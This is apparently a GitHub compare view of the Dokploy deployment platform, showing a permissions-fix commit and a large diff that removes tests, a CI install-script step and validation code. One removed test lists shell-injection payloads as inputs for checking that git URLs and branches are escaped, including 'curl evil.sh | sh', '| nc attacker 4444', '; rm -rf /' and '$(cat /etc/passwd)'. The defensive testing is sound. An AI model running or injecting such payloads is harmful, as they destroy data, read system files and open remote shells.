Compare commits

..

1 Commits

Author SHA1 Message Date
Mauricio Siu
81adbcb8f9 fix: allow members with git providers permission to create and delete their own
The canAccessToGitProviders legacy override only granted read access, so
members with the Git Providers toggle enabled could not add providers — the
create/delete endpoints require gitProviders.create / gitProviders.delete.
This mirrors how the SSH Keys toggle already grants read/create/delete.

The git-provider remove endpoint now restricts non owner/admin roles to
deleting only their own providers (matching the ownership model used for
visibility and sharing), while owner/admin can still delete any provider in
the organization.

Closes #4695
2026-06-30 15:56:13 -06:00
229 changed files with 3360 additions and 21166 deletions

View File

@@ -152,14 +152,6 @@ jobs:
VERSION=$(node -p "require('./apps/dokploy/package.json').version")
echo "version=$VERSION" >> $GITHUB_OUTPUT
- name: Fetch install.sh
run: |
curl -fsSL https://raw.githubusercontent.com/Dokploy/website/main/apps/website/public/install.sh -o install.sh
head -1 install.sh | grep -q '^#!' || { echo "Downloaded install.sh is not a shell script"; exit 1; }
grep -q 'DOKPLOY_VERSION' install.sh || { echo "install.sh no longer supports DOKPLOY_VERSION pinning"; exit 1; }
{ head -1 install.sh; echo "DOKPLOY_VERSION=\"\${DOKPLOY_VERSION:-${{ steps.get_version.outputs.version }}}\""; tail -n +2 install.sh; } > install-pinned.sh
mv install-pinned.sh install.sh
- name: Create Release
uses: softprops/action-gh-release@v2
with:
@@ -168,7 +160,6 @@ jobs:
generate_release_notes: true
draft: false
prerelease: false
files: install.sh
env:
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}

View File

@@ -69,5 +69,4 @@ EXPOSE 3000
HEALTHCHECK --interval=30s --timeout=5s --start-period=60s --retries=5 \
CMD curl -fs http://localhost:3000/api/trpc/settings.health || exit 1
# Ejecutar node directamente: pnpm como wrapper queda residente (~100MB RSS)
CMD ["sh", "-c", "node -r dotenv/config dist/wait-for-postgres.mjs && node -r dotenv/config dist/migration.mjs && exec node -r dotenv/config dist/server.mjs"]
CMD ["sh", "-c", "pnpm run wait-for-postgres && exec pnpm start"]

View File

@@ -1,26 +0,0 @@
import { describe, expect, it } from "vitest";
import { API_KEY_NAME_MAX_LENGTH, apiKeyNameSchema } from "@/lib/api-keys";
describe("apiKeyNameSchema", () => {
it("rejects an empty name", () => {
const result = apiKeyNameSchema.safeParse("");
expect(result.success).toBe(false);
});
it("accepts a name at the maximum length", () => {
const name = "a".repeat(API_KEY_NAME_MAX_LENGTH);
const result = apiKeyNameSchema.safeParse(name);
expect(result.success).toBe(true);
});
it("rejects a name over the maximum length instead of passing it to better-auth", () => {
const name = "a".repeat(API_KEY_NAME_MAX_LENGTH + 1);
const result = apiKeyNameSchema.safeParse(name);
expect(result.success).toBe(false);
if (!result.success) {
expect(result.error.issues[0]?.message).toBe(
`Name must be at most ${API_KEY_NAME_MAX_LENGTH} characters`,
);
}
});
});

View File

@@ -1,50 +0,0 @@
import { redactRcloneCredentials } from "@dokploy/server/utils/backups/redact";
import { describe, expect, it } from "vitest";
describe("redactRcloneCredentials (#4621)", () => {
it("should redact access key in rclone command", () => {
const cmd =
'rclone rcat --s3-access-key-id="AKIAIOSFODNN7EXAMPLE" --s3-secret-access-key="wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY" :s3:bucket/file.gz';
const redacted = redactRcloneCredentials(cmd);
expect(redacted).not.toContain("AKIAIOSFODNN7EXAMPLE");
expect(redacted).toContain('--s3-access-key-id="[REDACTED]"');
});
it("should redact secret access key in rclone command", () => {
const cmd =
'rclone rcat --s3-access-key-id="key" --s3-secret-access-key="supersecret" :s3:bucket/file.gz';
const redacted = redactRcloneCredentials(cmd);
expect(redacted).not.toContain("supersecret");
expect(redacted).toContain('--s3-secret-access-key="[REDACTED]"');
});
it("should redact both credentials simultaneously", () => {
const cmd =
'rclone lsf --s3-access-key-id="AKIA123" --s3-secret-access-key="secret456" --s3-region="us-east-1" :s3:bucket/';
const redacted = redactRcloneCredentials(cmd);
expect(redacted).not.toContain("AKIA123");
expect(redacted).not.toContain("secret456");
expect(redacted).toContain('--s3-region="us-east-1"');
});
it("should not modify non-credential flags", () => {
const cmd =
'rclone rcat --s3-region="eu-west-1" --s3-endpoint="https://s3.example.com" --s3-no-check-bucket :s3:bucket/file.gz';
const redacted = redactRcloneCredentials(cmd);
expect(redacted).toBe(cmd);
});
it("should handle commands with no credentials", () => {
const cmd = "rclone lsf :s3:bucket/";
expect(redactRcloneCredentials(cmd)).toBe(cmd);
});
it("should handle error strings containing credentials", () => {
const errorStr =
'Error: Command failed: rclone lsf --s3-access-key-id="MYKEY" --s3-secret-access-key="MYSECRET" :s3:bucket/';
const redacted = redactRcloneCredentials(errorStr);
expect(redacted).not.toContain("MYKEY");
expect(redacted).not.toContain("MYSECRET");
expect(redacted).toContain("[REDACTED]");
});
});

View File

@@ -42,39 +42,6 @@ test("Add suffix to volumes declared directly in services", () => {
);
});
const composeFileAccessMode = `
version: "3.8"
services:
web:
image: nginx:alpine
volumes:
- web_config:/etc/nginx/conf.d:ro
- certs/sub:/etc/certs:Z
`;
test("Add suffix to volumes preserves access mode (:ro, :z, :Z)", () => {
const composeData = parse(composeFileAccessMode) as ComposeSpecification;
const suffix = generateRandomHash();
if (!composeData.services) {
return;
}
const updatedComposeData = addSuffixToVolumesInServices(
composeData.services,
suffix,
);
expect(updatedComposeData.web?.volumes).toContain(
`web_config-${suffix}:/etc/nginx/conf.d:ro`,
);
expect(updatedComposeData.web?.volumes).toContain(
`certs-${suffix}/sub:/etc/certs:Z`,
);
});
const composeFileTypeVolume = `
version: "3.8"

View File

@@ -1,323 +0,0 @@
import type { NextApiRequest, NextApiResponse } from "next";
import { beforeEach, describe, expect, it, vi } from "vitest";
const mocks = vi.hoisted(() => ({
eq: vi.fn((field: string, value: unknown) => ({ field, value })),
and: vi.fn((...conditions: Array<{ field: string; value: unknown }>) => ({
conditions,
})),
githubFindFirst: vi.fn(),
applicationsFindMany: vi.fn(),
composeFindMany: vi.fn(),
queueAdd: vi.fn(),
verify: vi.fn(),
shouldDeploy: vi.fn(),
}));
vi.mock("drizzle-orm", () => ({
eq: mocks.eq,
and: mocks.and,
}));
vi.mock("@/server/db/schema", () => ({
applications: {
sourceType: "application.sourceType",
autoDeploy: "application.autoDeploy",
triggerType: "application.triggerType",
branch: "application.branch",
repository: "application.repository",
owner: "application.owner",
githubId: "application.githubId",
isPreviewDeploymentsActive: "application.isPreviewDeploymentsActive",
},
compose: {
sourceType: "compose.sourceType",
autoDeploy: "compose.autoDeploy",
triggerType: "compose.triggerType",
branch: "compose.branch",
repository: "compose.repository",
owner: "compose.owner",
githubId: "compose.githubId",
},
github: {
githubInstallationId: "github.githubInstallationId",
},
}));
vi.mock("@dokploy/server/db", () => ({
db: {
query: {
github: {
findFirst: mocks.githubFindFirst,
},
applications: {
findMany: mocks.applicationsFindMany,
},
compose: {
findMany: mocks.composeFindMany,
},
},
},
}));
vi.mock("@dokploy/server", () => ({
IS_CLOUD: false,
shouldDeploy: mocks.shouldDeploy,
checkUserRepositoryPermissions: vi.fn(),
createPreviewDeployment: vi.fn(),
createSecurityBlockedComment: vi.fn(),
findGithubById: vi.fn(),
findPreviewDeploymentByApplicationId: vi.fn(),
findPreviewDeploymentsByPullRequestId: vi.fn(),
getBitbucketHeaders: vi.fn(() => ({})),
removePreviewDeployment: vi.fn(),
}));
vi.mock("@octokit/webhooks", () => ({
Webhooks: vi.fn().mockImplementation(function Webhooks() {
return {
verify: mocks.verify,
};
}),
}));
vi.mock("@/server/queues/queueSetup", () => ({
myQueue: {
add: mocks.queueAdd,
},
}));
vi.mock("@/server/utils/deploy", () => ({
deploy: vi.fn(),
}));
import handler from "@/pages/api/deploy/github";
const getConditionValue = (
where: { conditions?: Array<{ field: string; value: unknown }> } | undefined,
field: string,
) => where?.conditions?.find((condition) => condition.field === field)?.value;
const createResponse = () => {
const res = {
status: vi.fn(),
json: vi.fn(),
} as unknown as NextApiResponse & {
status: ReturnType<typeof vi.fn>;
json: ReturnType<typeof vi.fn>;
};
res.status.mockImplementation(() => res);
res.json.mockImplementation(() => res);
return res;
};
const createPushRequest = (
branch: string,
owner: { login?: string; name?: string } = { login: "agentHits" },
) =>
({
headers: {
"x-hub-signature-256": "sha256=test-signature",
"x-github-event": "push",
},
body: {
installation: {
id: 12345,
},
ref: `refs/heads/${branch}`,
after: "abc123",
head_commit: {
message: "fix: trigger deployment",
},
commits: [
{
modified: ["src/index.ts"],
},
],
repository: {
name: "dokploy",
full_name: "agentHits/dokploy",
clone_url: "https://github.com/agentHits/dokploy.git",
html_url: "https://github.com/agentHits/dokploy",
owner,
},
},
}) as unknown as NextApiRequest;
const createTagRequest = (tagName: string) => {
const req = createPushRequest("main") as unknown as {
body: { ref: string; head_commit: { message: string } };
};
req.body.ref = `refs/tags/${tagName}`;
req.body.head_commit.message = `release: ${tagName}`;
return req as unknown as NextApiRequest;
};
describe("GitHub app webhook auto-deploy", () => {
beforeEach(() => {
vi.clearAllMocks();
mocks.githubFindFirst.mockResolvedValue({
githubId: "github-provider-id",
githubInstallationId: 12345,
githubWebhookSecret: "webhook-secret",
});
mocks.verify.mockResolvedValue(true);
mocks.shouldDeploy.mockReturnValue(true);
mocks.composeFindMany.mockResolvedValue([]);
mocks.queueAdd.mockResolvedValue({ id: "job-id" });
mocks.applicationsFindMany.mockImplementation(({ where }) => {
const matches =
getConditionValue(where, "application.sourceType") === "github" &&
getConditionValue(where, "application.autoDeploy") === true &&
getConditionValue(where, "application.triggerType") === "push" &&
getConditionValue(where, "application.branch") === "main" &&
getConditionValue(where, "application.repository") === "dokploy" &&
getConditionValue(where, "application.owner") === "agentHits" &&
getConditionValue(where, "application.githubId") ===
"github-provider-id";
return Promise.resolve(
matches
? [
{
applicationId: "application-id",
serverId: null,
watchPaths: null,
},
]
: [],
);
});
});
it("matches push events using repository owner name when available", async () => {
const res = createResponse();
await handler(
createPushRequest("main", {
login: "agentHits-login",
name: "agentHits",
}),
res,
);
expect(mocks.queueAdd).toHaveBeenCalledWith(
"deployments",
expect.objectContaining({
applicationId: "application-id",
applicationType: "application",
type: "deploy",
}),
expect.objectContaining({
removeOnComplete: true,
removeOnFail: true,
}),
);
expect(res.status).toHaveBeenCalledWith(200);
expect(res.json).toHaveBeenCalledWith({ message: "Deployed 1 apps" });
});
it("matches compose push events using repository owner login fallback", async () => {
mocks.applicationsFindMany.mockResolvedValue([]);
mocks.composeFindMany.mockImplementation(({ where }) => {
const matches =
getConditionValue(where, "compose.sourceType") === "github" &&
getConditionValue(where, "compose.autoDeploy") === true &&
getConditionValue(where, "compose.triggerType") === "push" &&
getConditionValue(where, "compose.branch") === "main" &&
getConditionValue(where, "compose.repository") === "dokploy" &&
getConditionValue(where, "compose.owner") === "agentHits" &&
getConditionValue(where, "compose.githubId") === "github-provider-id";
return Promise.resolve(
matches
? [
{
composeId: "compose-id",
serverId: null,
watchPaths: null,
},
]
: [],
);
});
const res = createResponse();
await handler(createPushRequest("main"), res);
expect(mocks.queueAdd).toHaveBeenCalledWith(
"deployments",
expect.objectContaining({
applicationType: "compose",
composeId: "compose-id",
type: "deploy",
}),
expect.objectContaining({
removeOnComplete: true,
removeOnFail: true,
}),
);
expect(res.status).toHaveBeenCalledWith(200);
expect(res.json).toHaveBeenCalledWith({ message: "Deployed 1 apps" });
});
it("matches tag events using repository owner login fallback", async () => {
mocks.applicationsFindMany.mockImplementation(({ where }) => {
const matches =
getConditionValue(where, "application.sourceType") === "github" &&
getConditionValue(where, "application.autoDeploy") === true &&
getConditionValue(where, "application.triggerType") === "tag" &&
getConditionValue(where, "application.repository") === "dokploy" &&
getConditionValue(where, "application.owner") === "agentHits" &&
getConditionValue(where, "application.githubId") ===
"github-provider-id";
return Promise.resolve(
matches
? [
{
applicationId: "application-id",
serverId: null,
},
]
: [],
);
});
const res = createResponse();
await handler(createTagRequest("v1.0.0"), res);
expect(mocks.queueAdd).toHaveBeenCalledWith(
"deployments",
expect.objectContaining({
applicationId: "application-id",
applicationType: "application",
titleLog: "Tag created: v1.0.0",
type: "deploy",
}),
expect.objectContaining({
removeOnComplete: true,
removeOnFail: true,
}),
);
expect(res.status).toHaveBeenCalledWith(200);
expect(res.json).toHaveBeenCalledWith({
message: "Deployed 1 apps based on tag v1.0.0",
});
});
it("does not deploy when the pushed branch does not match", async () => {
const res = createResponse();
await handler(createPushRequest("feature"), res);
expect(mocks.queueAdd).not.toHaveBeenCalled();
expect(res.status).toHaveBeenCalledWith(200);
expect(res.json).toHaveBeenCalledWith({ message: "No apps to deploy" });
});
});

View File

@@ -1,93 +0,0 @@
import {
decryptValue,
encryptValue,
exportEncryptionKeys,
isEncrypted,
} from "@dokploy/server/lib/encryption";
import { afterEach, describe, expect, it, vi } from "vitest";
describe("encryptValue / decryptValue", () => {
it("round-trips a value", () => {
const value =
"DATABASE_URL=postgres://user:secret@host:5432/db\nAPI_KEY=123";
const encrypted = encryptValue(value);
expect(encrypted).not.toBe(value);
expect(isEncrypted(encrypted)).toBe(true);
expect(encrypted).not.toContain("secret");
expect(decryptValue(encrypted)).toBe(value);
});
it("uses a random IV so equal inputs produce different ciphertexts", () => {
const value = "KEY=value";
expect(encryptValue(value)).not.toBe(encryptValue(value));
});
it("passes legacy plaintext through on decrypt", () => {
const plaintext = "KEY=legacy-plaintext-value";
expect(decryptValue(plaintext)).toBe(plaintext);
});
it("passes empty values through unchanged", () => {
expect(encryptValue("")).toBe("");
expect(decryptValue("")).toBe("");
});
it("does not double-encrypt an already encrypted value", () => {
const encrypted = encryptValue("KEY=value");
expect(encryptValue(encrypted)).toBe(encrypted);
});
it("throws a descriptive error on tampered ciphertext", () => {
const encrypted = encryptValue("KEY=value");
const tampered = `${encrypted.slice(0, -4)}AAAA`;
expect(() => decryptValue(tampered)).toThrow(/BETTER_AUTH_SECRET/);
});
it("exports the derived keys as 32-byte hex lines for backups", () => {
expect(exportEncryptionKeys()).toMatch(/^[0-9a-f]{64}(\n[0-9a-f]{64})*$/);
});
});
describe("dedicated ENCRYPTION_KEY", () => {
afterEach(() => {
vi.unstubAllEnvs();
vi.resetModules();
});
const loadWithEncryptionKey = async (key: string) => {
vi.stubEnv("ENCRYPTION_KEY", key);
vi.resetModules();
return await import("@dokploy/server/lib/encryption");
};
it("encrypts with the dedicated key when set", async () => {
const withKey = await loadWithEncryptionKey("my-dedicated-key");
const encrypted = withKey.encryptValue("KEY=value");
expect(withKey.decryptValue(encrypted)).toBe("KEY=value");
// The default (auth-secret derived) module cannot read it
expect(() => decryptValue(encrypted)).toThrow(/ENCRYPTION_KEY/);
});
it("still decrypts legacy values via the auth-secret fallback", async () => {
// Encrypted before the install adopted a dedicated key
const legacyEncrypted = encryptValue("KEY=legacy-value");
const withKey = await loadWithEncryptionKey("my-dedicated-key");
expect(withKey.decryptValue(legacyEncrypted)).toBe("KEY=legacy-value");
});
it("re-encrypts with the dedicated key on write", async () => {
const withKey = await loadWithEncryptionKey("my-dedicated-key");
const reEncrypted = withKey.encryptValue(
withKey.decryptValue(encryptValue("KEY=migrated")),
);
const other = await loadWithEncryptionKey("another-key");
// Readable only by the dedicated key (or its own fallback), proving
// the write used the primary key, not the legacy one
expect(withKey.decryptValue(reEncrypted)).toBe("KEY=migrated");
expect(() => other.decryptValue(reEncrypted)).toThrow();
});
});

View File

@@ -1,87 +0,0 @@
import { cloneGitRepository } from "@dokploy/server/utils/providers/git";
import { shellWord } from "@dokploy/server/utils/providers/utils";
import { parse } from "shell-quote";
import { describe, expect, it } from "vitest";
// Payloads that, if reached a shell unescaped, would execute commands.
const INJECTION_PAYLOADS = [
"$(touch /tmp/pwned)",
"`id`",
"; rm -rf /",
"&& curl evil.sh | sh",
"| nc attacker 4444",
"https://github.com/o/r.git$(whoami)",
"main; wget http://evil",
"$(cat /etc/passwd)",
];
// Legit values that must survive escaping unchanged.
const LEGIT_VALUES = [
"main",
"feature/login-v2",
"release-1.2.3",
"https://github.com/dokploy/dokploy.git",
"https://gitlab.example.com/group/sub/project.git",
];
describe("shellWord (git provider shell escaping)", () => {
it("collapses every injection payload into a single literal token (no shell operators)", () => {
for (const payload of INJECTION_PAYLOADS) {
const parsed = parse(shellWord(payload));
// A safely escaped value parses back to exactly the original string,
// as ONE token. If escaping failed, parse() would emit operator
// objects such as { op: ";" } or { op: "$(" } instead.
expect(parsed).toEqual([payload]);
}
});
it("leaves legitimate URLs and branch names intact", () => {
for (const value of LEGIT_VALUES) {
expect(parse(shellWord(value))).toEqual([value]);
}
});
});
describe("cloneGitRepository command (customGitUrl path)", () => {
const buildClone = (customGitUrl: string, customGitBranch: string) =>
cloneGitRepository({
appName: "demo-app",
customGitUrl,
customGitBranch,
customGitSSHKeyId: null,
enableSubmodules: false,
serverId: null,
type: "application",
});
// A malicious substring, once escaped, must survive parsing as inert literal
// text and never as an executable command/operator. `parse()` turns command
// substitution and control operators into { op } objects, so we assert the
// injected marker only ever shows up inside a plain string token.
const markerLeaksAsShellSyntax = (command: string, marker: string) => {
const tokens = parse(command);
return tokens.some(
(t) => typeof t !== "string" && JSON.stringify(t).includes(marker),
);
};
it("does not let a malicious customGitUrl inject shell operators", async () => {
const command = await buildClone(
"https://github.com/o/r.git$(touch /tmp/pwned)",
"main",
);
expect(markerLeaksAsShellSyntax(command, "touch")).toBe(false);
expect(command).toContain("git clone");
});
it("does not let a malicious customGitBranch inject shell operators", async () => {
const command = await buildClone(
"https://github.com/o/r.git",
"main; touch /tmp/pwned",
);
// The branch is a single quoted token, so its ";" contributes no extra
// operator and `touch` never becomes a runnable statement.
expect(markerLeaksAsShellSyntax(command, "touch")).toBe(false);
expect(command).not.toContain("touch /tmp/pwned;");
});
});

View File

@@ -1,8 +1,8 @@
import { beforeEach, describe, expect, it, vi } from "vitest";
import {
canEditDeployGitSource,
getAccessibleGitProviderIds,
} from "@dokploy/server/services/git-provider";
import { beforeEach, describe, expect, it, vi } from "vitest";
const mockDb = vi.hoisted(() => ({
query: {

View File

@@ -1,11 +1,16 @@
import { beforeEach, describe, expect, it, vi } from "vitest";
const hasValidLicense = vi.fn();
const getWebServerSettings = vi.fn();
const findFirstOrg = vi.fn();
const findFirstServer = vi.fn();
vi.mock("@dokploy/server/db", () => ({
db: {
query: {
organization: {
findFirst: (...args: unknown[]) => findFirstOrg(...args),
},
server: {
findFirst: (...args: unknown[]) => findFirstServer(...args),
},
@@ -14,56 +19,91 @@ vi.mock("@dokploy/server/db", () => ({
}));
vi.mock("@dokploy/server/db/schema", () => ({
organization: {},
server: {},
}));
vi.mock("@dokploy/server/services/proprietary/license-key", () => ({
hasValidLicense: (...args: unknown[]) => hasValidLicense(...args),
}));
vi.mock("@dokploy/server/services/web-server-settings", () => ({
getWebServerSettings: (...args: unknown[]) => getWebServerSettings(...args),
}));
vi.mock("drizzle-orm", () => ({ eq: vi.fn() }));
import { resolveBuildsConcurrency } from "../../server/queues/concurrency";
import {
assertBuildsConcurrencyAllowed,
resolveBuildsConcurrency,
} from "../../server/queues/concurrency";
import { LOCAL_PARTITION } from "../../server/queues/in-memory-queue";
describe("resolveBuildsConcurrency", () => {
describe("resolveBuildsConcurrency (enterprise gating)", () => {
beforeEach(() => {
vi.clearAllMocks();
findFirstOrg.mockResolvedValue({ id: "org-1" });
});
describe("local web server partition", () => {
it("returns the configured concurrency", async () => {
it("returns the configured concurrency when licensed", async () => {
getWebServerSettings.mockResolvedValue({ buildsConcurrency: 5 });
hasValidLicense.mockResolvedValue(true);
await expect(resolveBuildsConcurrency(LOCAL_PARTITION)).resolves.toBe(5);
});
it("does not cap high values", async () => {
it("clamps to the free max (2) when there is no valid license", async () => {
getWebServerSettings.mockResolvedValue({ buildsConcurrency: 10 });
hasValidLicense.mockResolvedValue(false);
await expect(resolveBuildsConcurrency(LOCAL_PARTITION)).resolves.toBe(2);
});
it("allows the free max (2) without a license", async () => {
getWebServerSettings.mockResolvedValue({ buildsConcurrency: 2 });
hasValidLicense.mockResolvedValue(false);
await expect(resolveBuildsConcurrency(LOCAL_PARTITION)).resolves.toBe(2);
});
it("does not cap the value when licensed (N allowed)", async () => {
getWebServerSettings.mockResolvedValue({ buildsConcurrency: 999 });
hasValidLicense.mockResolvedValue(true);
await expect(resolveBuildsConcurrency(LOCAL_PARTITION)).resolves.toBe(
999,
);
});
it("floors values below 1 to 1", async () => {
getWebServerSettings.mockResolvedValue({ buildsConcurrency: 0 });
await expect(resolveBuildsConcurrency(LOCAL_PARTITION)).resolves.toBe(1);
});
it("defaults to 1 when settings are missing", async () => {
getWebServerSettings.mockResolvedValue(undefined);
hasValidLicense.mockResolvedValue(true);
await expect(resolveBuildsConcurrency(LOCAL_PARTITION)).resolves.toBe(1);
});
});
describe("remote server partition", () => {
it("returns the server concurrency", async () => {
findFirstServer.mockResolvedValue({ buildsConcurrency: 4 });
it("returns the server concurrency when its org is licensed", async () => {
findFirstServer.mockResolvedValue({
buildsConcurrency: 4,
organizationId: "org-1",
});
hasValidLicense.mockResolvedValue(true);
await expect(resolveBuildsConcurrency("server-1")).resolves.toBe(4);
expect(hasValidLicense).toHaveBeenCalledWith("org-1");
});
it("clamps to the free max (2) when the server org is not licensed", async () => {
findFirstServer.mockResolvedValue({
buildsConcurrency: 8,
organizationId: "org-1",
});
hasValidLicense.mockResolvedValue(false);
await expect(resolveBuildsConcurrency("server-1")).resolves.toBe(2);
});
it("defaults to 1 for an unknown server", async () => {
@@ -79,3 +119,30 @@ describe("resolveBuildsConcurrency", () => {
await expect(resolveBuildsConcurrency(LOCAL_PARTITION)).resolves.toBe(1);
});
});
describe("assertBuildsConcurrencyAllowed", () => {
beforeEach(() => {
vi.clearAllMocks();
});
it("allows up to the free max (2) without checking the license", async () => {
await expect(
assertBuildsConcurrencyAllowed(2, "org-1"),
).resolves.toBeUndefined();
expect(hasValidLicense).not.toHaveBeenCalled();
});
it("allows more than 2 when licensed", async () => {
hasValidLicense.mockResolvedValue(true);
await expect(
assertBuildsConcurrencyAllowed(5, "org-1"),
).resolves.toBeUndefined();
});
it("rejects more than 2 without a license", async () => {
hasValidLicense.mockResolvedValue(false);
await expect(assertBuildsConcurrencyAllowed(3, "org-1")).rejects.toThrow(
/enterprise license/i,
);
});
});

View File

@@ -1,75 +0,0 @@
import { apiCreateRegistry, apiTestRegistry } from "@dokploy/server/db/schema";
import { describe, expect, it } from "vitest";
describe("Registry Schema - Username case preservation (#4632)", () => {
const validBase = {
registryName: "AWS ECR",
password: "dXNlcm5hbWU6cGFzc3dvcmQ=", // dummy base64 token
registryUrl: "123456789.dkr.ecr.us-east-1.amazonaws.com",
registryType: "cloud" as const,
imagePrefix: null,
};
it("should preserve uppercase username (AWS ECR requires 'AWS')", () => {
const result = apiCreateRegistry.safeParse({
...validBase,
username: "AWS",
});
expect(result.success).toBe(true);
if (result.success) {
expect(result.data.username).toBe("AWS");
}
});
it("should not lowercase mixed-case usernames", () => {
const result = apiCreateRegistry.safeParse({
...validBase,
username: "MyUser",
});
expect(result.success).toBe(true);
if (result.success) {
expect(result.data.username).toBe("MyUser");
}
});
it("should still trim whitespace from username", () => {
const result = apiCreateRegistry.safeParse({
...validBase,
username: " AWS ",
});
expect(result.success).toBe(true);
if (result.success) {
expect(result.data.username).toBe("AWS");
}
});
it("should reject empty username", () => {
const result = apiCreateRegistry.safeParse({
...validBase,
username: "",
});
expect(result.success).toBe(false);
});
it("should also preserve case in apiTestRegistry", () => {
const result = apiTestRegistry.safeParse({
...validBase,
username: "AWS",
});
expect(result.success).toBe(true);
if (result.success) {
expect(result.data.username).toBe("AWS");
}
});
it("should accept lowercase usernames too (backward compat)", () => {
const result = apiCreateRegistry.safeParse({
...validBase,
username: "myuser",
});
expect(result.success).toBe(true);
if (result.success) {
expect(result.data.username).toBe("myuser");
}
});
});

View File

@@ -1,98 +0,0 @@
import { execFileSync, execSync } from "node:child_process";
import { chmodSync, mkdtempSync, writeFileSync } from "node:fs";
import { tmpdir } from "node:os";
import path from "node:path";
import { defaultCommand, reportDockerVersion } from "@dokploy/server";
import { describe, expect, it } from "vitest";
const resolveBin = (name: string) =>
execSync(`command -v ${name}`, { encoding: "utf8" }).trim();
/**
* Build a sandbox PATH so `command -v docker` only sees our fake docker
* binary (or nothing), regardless of what the host has installed.
*/
const makeSandbox = (dockerShim?: string) => {
const dir = mkdtempSync(path.join(tmpdir(), "dokploy-server-setup-"));
for (const tool of ["awk", "tr"]) {
const shim = path.join(dir, tool);
writeFileSync(shim, `#!/bin/sh\nexec ${resolveBin(tool)} "$@"\n`);
chmodSync(shim, 0o755);
}
if (dockerShim) {
const shim = path.join(dir, "docker");
writeFileSync(shim, dockerShim);
chmodSync(shim, 0o755);
}
return dir;
};
const runReport = (sandboxPath: string) => {
const script = [
"DOCKER_VERSION=28.5.0",
reportDockerVersion(),
'echo "$DOCKER_VERSION_REPORT"',
].join("\n");
return execFileSync(resolveBin("bash"), ["-c", script], {
encoding: "utf8",
env: { ...process.env, PATH: sandboxPath },
})
.trim()
.split("\n")
.pop();
};
describe("reportDockerVersion", () => {
it("reports the engine version when docker and its daemon are available", () => {
const sandbox = makeSandbox(
[
"#!/bin/sh",
'if [ "$1" = "--version" ]; then',
' echo "Docker version 25.0.0, build aaaaaaa"',
" exit 0",
"fi",
'if [ "$1" = "version" ]; then',
' echo "29.4.3"',
" exit 0",
"fi",
"exit 1",
].join("\n"),
);
expect(runReport(sandbox)).toBe("29.4.3 (already installed)");
});
it("falls back to the client version when the daemon is unreachable", () => {
const sandbox = makeSandbox(
[
"#!/bin/sh",
'if [ "$1" = "--version" ]; then',
' echo "Docker version 29.4.3, build 055a478"',
" exit 0",
"fi",
'echo "Cannot connect to the Docker daemon" >&2',
"exit 1",
].join("\n"),
);
expect(runReport(sandbox)).toBe("29.4.3 (already installed)");
});
it("reports the pinned version to be installed when docker is missing", () => {
expect(runReport(makeSandbox())).toBe("28.5.0 (will be installed)");
});
});
describe("defaultCommand", () => {
it.each([false, true])(
"prints the detected Docker version in the setup banner (isBuildServer=%s)",
(isBuildServer) => {
const script = defaultCommand(isBuildServer);
expect(script).toContain(reportDockerVersion());
expect(script).toContain(
'echo "| Docker | $DOCKER_VERSION_REPORT"',
);
expect(script).not.toContain(
'echo "| Docker | $DOCKER_VERSION"',
);
},
);
});

View File

@@ -1,46 +0,0 @@
import { VALID_HOSTNAME_REGEX } from "@dokploy/server";
import { describe, expect, it } from "vitest";
describe("VALID_HOSTNAME_REGEX", () => {
it.each([
"example.com",
"sub.example.com",
"bbn-client.example.com",
"a.b.c.example.co",
"xn--80ak6aa92e.com",
"123.example.com",
])("accepts valid hostname %s", (host) => {
expect(VALID_HOSTNAME_REGEX.test(host)).toBe(true);
});
it.each([
"bbn_client.example.com",
"-example.com",
"example-.com",
"example",
"exa mple.com",
"example..com",
"",
`a${"a".repeat(63)}.com`,
])("rejects invalid hostname %s", (host) => {
expect(VALID_HOSTNAME_REGEX.test(host)).toBe(false);
});
// IDNs (Cyrillic, German umlauts, etc.) must be submitted in their
// ACME/punycode form ("xn--...") — that's what Let's Encrypt issues
// certificates for, so raw Unicode labels are rejected here.
it.each(["пример.рф", "bücher.de", "日本語.jp"])(
"rejects raw unicode IDN %s",
(host) => {
expect(VALID_HOSTNAME_REGEX.test(host)).toBe(false);
},
);
it.each([
"xn--e1afmkfd.xn--p1ai", // punycode for пример.рф
"xn--bcher-kva.de", // punycode for bücher.de
"xn--wgv71a119e.jp", // punycode for 日本語.jp
])("accepts punycode-encoded IDN %s", (host) => {
expect(VALID_HOSTNAME_REGEX.test(host)).toBe(true);
});
});

View File

@@ -1,7 +1,3 @@
import {
INVALID_HOSTNAME_MESSAGE,
VALID_HOSTNAME_REGEX,
} from "@dokploy/server/utils/hostname-validation";
import { standardSchemaResolver as zodResolver } from "@hookform/resolvers/standard-schema";
import { DatabaseZap, Dices, RefreshCw, X } from "lucide-react";
import Link from "next/link";
@@ -57,10 +53,7 @@ export const domain = z
.refine((val) => val === val.trim(), {
message: "Domain name cannot have leading or trailing spaces",
})
.transform((val) => val.trim())
.refine((val) => VALID_HOSTNAME_REGEX.test(val), {
message: INVALID_HOSTNAME_MESSAGE,
}),
.transform((val) => val.trim()),
path: z.string().min(1).optional(),
internalPath: z.string().optional(),
stripPath: z.boolean().optional(),

View File

@@ -188,9 +188,6 @@ export const SaveBitbucketProvider = ({ applicationId }: Props) => {
<FormLabel>Bitbucket Account</FormLabel>
<Select
onValueChange={(value) => {
if (!value) {
return;
}
field.onChange(value);
form.setValue("repository", {
owner: "",
@@ -199,6 +196,7 @@ export const SaveBitbucketProvider = ({ applicationId }: Props) => {
});
form.setValue("branch", "");
}}
defaultValue={field.value}
value={field.value}
>
<FormControl>
@@ -247,7 +245,7 @@ export const SaveBitbucketProvider = ({ applicationId }: Props) => {
<Button
variant="outline"
className={cn(
"w-full justify-between",
"w-full justify-between bg-input!",
!field.value && "text-muted-foreground",
)}
>
@@ -256,19 +254,14 @@ export const SaveBitbucketProvider = ({ applicationId }: Props) => {
: isLoadingRepositories
? "Loading...."
: (repositories?.find(
(repo) =>
repo.name === field.value.repo &&
repo.owner.username === field.value.owner,
(repo) => repo.name === field.value.repo,
)?.name ?? "Select repository")}
<ChevronsUpDown className="ml-2 h-4 w-4 shrink-0 opacity-50" />
</Button>
</FormControl>
</PopoverTrigger>
<PopoverContent
className="w-[var(--radix-popover-trigger-width)] p-0"
align="start"
>
<PopoverContent className="p-0" align="start">
<Command>
<CommandInput
placeholder="Search repository..."
@@ -288,7 +281,7 @@ export const SaveBitbucketProvider = ({ applicationId }: Props) => {
<CommandGroup>
{repositories?.map((repo) => (
<CommandItem
value={`${repo.owner.username}/${repo.name}`}
value={repo.name}
key={repo.url}
onSelect={() => {
form.setValue("repository", {
